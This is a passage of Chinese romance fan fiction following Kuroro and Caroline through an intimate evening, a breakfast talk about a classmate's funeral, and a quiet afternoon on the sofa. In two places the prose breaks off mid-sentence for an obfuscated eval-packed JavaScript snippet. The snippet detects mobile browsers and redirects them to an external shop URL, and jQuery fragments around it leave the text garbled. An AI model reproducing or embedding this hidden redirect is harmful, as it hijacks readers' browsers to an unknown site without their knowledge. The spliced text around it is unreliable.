洛洛停下来看着她。她的脸很红,不只是因为害羞,酒精在体内还在发挥作用。她的呼吸也很急,胸口起伏着,手指攥着他的衣领攥得很紧。 “好难受,”卡洛琳的眉头皱了起来,带着酒精和情欲和某种说不清的东西同时困住了不知道怎么表达的烦躁,“头好痛……好热……你亲得我喘不过气了……”她的声音越来越小,最后变成了含混的像撒娇一样的呢喃。 她的身体在库洛洛下面微微扭了一下,像是在找一个更舒服的姿势。库洛洛的手撑在她头两侧,漆黑的双眼盯着她。 他的呼吸也很急,他的心跳也鼓噪不已,他的身体已经在用最原始的最不遮掩的方式告诉他他想做什么。 但卡洛琳说不舒服了。她的眼睛还是亮晶晶的,但瞳孔比刚才散了一点。她的嘴唇被他亲得有点肿,她看着他的时候眼神里没有拒绝,甚至还有邀请。但她说头痛了,还说好难受。 库洛洛从她身上翻下来,躺在旁边,把她拉进自己怀里。库洛洛的手从她后背移到她的太阳穴,指腹按着她两侧的穴位慢慢地揉着。他的力度很轻,很稳,一圈一圈的。卡洛琳靠在他怀里,眼睛闭上了。他的体温很高,他的手还在按着她的太阳穴。卡洛琳能感觉到他身体里有什么东西在绷着。库洛洛的呼吸还没有完全平下来,心跳还很快。 库洛洛深呼吸了几下,等着自己慢慢平复下来。 68.荒谬的命运 培根在平底锅里滋滋地响着,油脂从边缘渗出来,在黑色的锅底聚成一小滩透明的液体。库洛洛穿着白色T恤,袖子卷到手肘,手里拿着锅铲,把培根翻了个面。 煎蛋已经好了,放在旁边的盘子里,边缘焦脆,蛋黄还是溏心的。卡洛琳坐在餐桌前,穿着睡裙,头发卷翘着披在肩上,双手捧着一杯热牛奶,小口小口地喝着。 她的目光无意识地看着库洛洛的背影,从肩膀到腰线到握着锅铲的手指,阳光从厨房的窗户照进来,照得他的白T恤有点透。 “今天下午我不能陪你了,”卡洛琳把牛奶杯放下,杯底碰到桌面发出很轻的一声响,尾音拖长了,“得去参加一个同学的葬礼。” 库洛洛把煎好的培根夹到盘子里,关了火,端着两个盘子走过来。他把盘子放在桌上,在她对面坐下。 “哦?” 卡洛琳用叉子戳了一下培根,油脂从戳破的地方渗出来。 “那个同学比我大两届,不太熟,但之前一起上过专业课。他在一次寻找古代遗迹的过程中遇难了,具体怎么死的我也没问,反正我们学院要给他办集体追悼会。” 卡洛琳咬了一口煎地酥酥脆脆的培根,嚼了几下,露出了满足的表情。 “他这个人怎么说呢,有点极端理想主义吧。他认为只有见到从未有人见过的事物,才能写出不朽的作品。” 卡洛琳摇了摇头,又戳了一块培根。 “真是搞不懂。明明父母开明,家里又有钱,非要去做那么危险的事情,还真的死了。” 库洛洛端起了咖啡杯,杯壁贴着下唇,浅浅喝了一口。他的目光落在卡洛琳手指握着叉子的地方,落在她手腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539397|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上那根红绳和那颗小金花生上。 命运,真是荒谬啊。即使是库洛洛都忍不住嘲讽地这样想。 有人可以舍弃就在眼前的幸福,去追求一个虚无缥缈的精神高度。而他自己只是期望此刻平凡的幸福能够持续下去而已。 库洛洛站起来,绕过桌子走到她身边。他弯下腰,一只手撑在她的椅背上,另一只手拨开她额前的碎发。他的嘴唇贴上了她的额头,停了一下。她的额头很暖,有刚睡醒的温度,还有牛奶的香气。 “好,我送你过去。” 卡洛琳抬起头看着他,他的脸离她很近,近到她能看清他睫毛的弧度和眼底那层很淡的只有她看得出来的温柔。 怎么搞的,大早上突然这样,卡洛琳被库洛洛突如其来的亲呢搞得有些莫名,算了,她怎么搞得懂库洛洛在想什么。 69.安心 阳光从窗户外面涌进来,铺满了整个客厅。卡洛琳窝在沙发里,腿上盖着一条薄毯,手机屏幕的光落在她脸上。 朋友圈里又有人发动态了。那个总是坐在第一排笔记记得比教科书还工整的女生,办了个人画展。照片里的她站在自己的作品前,穿着黑色的连衣裙,笑容得体,身后是络绎不绝的观众。评论里全是“恭喜”“太厉害了”“天才画家”之类的字眼。卡洛琳点了个赞,划过去了。 下一条是隔壁专业的男生,大学时候就在搞什么互联网创业项目,当时所有人都觉得他会失败。现在他的公司被收购了,金额是卡洛琳数了好几遍才数清的位数。他在朋友圈晒了一张和团队的合影,每个人都笑得很灿烂,背后是写字楼的落地窗,窗外的城市天际线在阳光下闪闪发亮。卡洛琳看了一眼,划过去了。 再下一条,系里那个总是被老师夸有灵气的女生结婚了。婚礼在海边,白色的纱裙被海风吹起来,新郎搂着她的腰,两个人的背影映在夕阳里,像电影海报。卡洛琳盯着那张照片看了几秒,嘴角弯了一下,点了个赞,划过去了。 上辈子不是这样的。上辈子她躺在出租屋的床上刷朋友圈挺焦虑的。为什么别人的人生在往前走,只有她原地踏步甚至往后退。她会把每一条动态反复看三遍,越看越觉得自己失败。深夜放下手机的时候,胸口像压了一块石头,喘不过气。 但现在这些都没有了,不是那些人不再成功了,是她的焦虑消失了。 卡洛琳把手机放在胸口,盯着天花板。阳光在天花板上投下一个明亮的光斑,随着云层的移动慢慢地几乎看不出来地挪动着。 是因为自己的男朋友是会杀人抢劫的强盗头子吗? 这个念头冒出来的时候,卡洛琳自己都愣了一下。然后她扑哧一声笑了出来。啊,好像真的是这样。卡洛琳蜷在沙发里,笑得肩膀轻轻抖着。好吧,这怎么比?根本不是一个赛道的。 库洛洛手里端着两杯咖啡走过来。就看到卡洛琳蜷在沙发里抖着肩膀的样子,他停了一下,把咖啡放在茶几上,在沙发边蹲下来,手搭在她的头顶。 “笑什么呢?”库洛洛的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539805|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着一点淡淡的疑惑。 卡洛琳从靠垫里抬起脸。她的脸因为笑太久了有点红,眼睛还是弯弯的。 “想到了开心的事情。”卡洛琳的声音还带着笑的余韵,总之整个人就突然非常开心的状态。 库洛洛看了一会也笑了,他的拇指在她头顶画了一个很小的圈,然后站起来,把咖啡递给她,在沙发另一端坐下来,拿起茶几上那本翻了一半的书翻开到夹着书签的那一页。 阳光从落地窗涌进来,落在两个人身上。卡洛琳把咖啡杯捧在手心,缩进沙发里,看着阳光里浮动的细小尘埃。她拿起手机又看了一眼朋友圈,那个在海边结婚的女生的照片又出现在她眼前。她盯着照片里新娘白色纱裙被海风吹起的弧度,嘴角弯了一下。 “库洛洛。” “嗯。” “下次我们去海边吧。” “好。”库洛洛答应地没有任何犹豫。 卡洛琳把杯子放在茶几上,把毯子拉上来盖住下巴。阳光落在她的眼皮上很温暖,有一种现世安稳,岁月静好的感觉。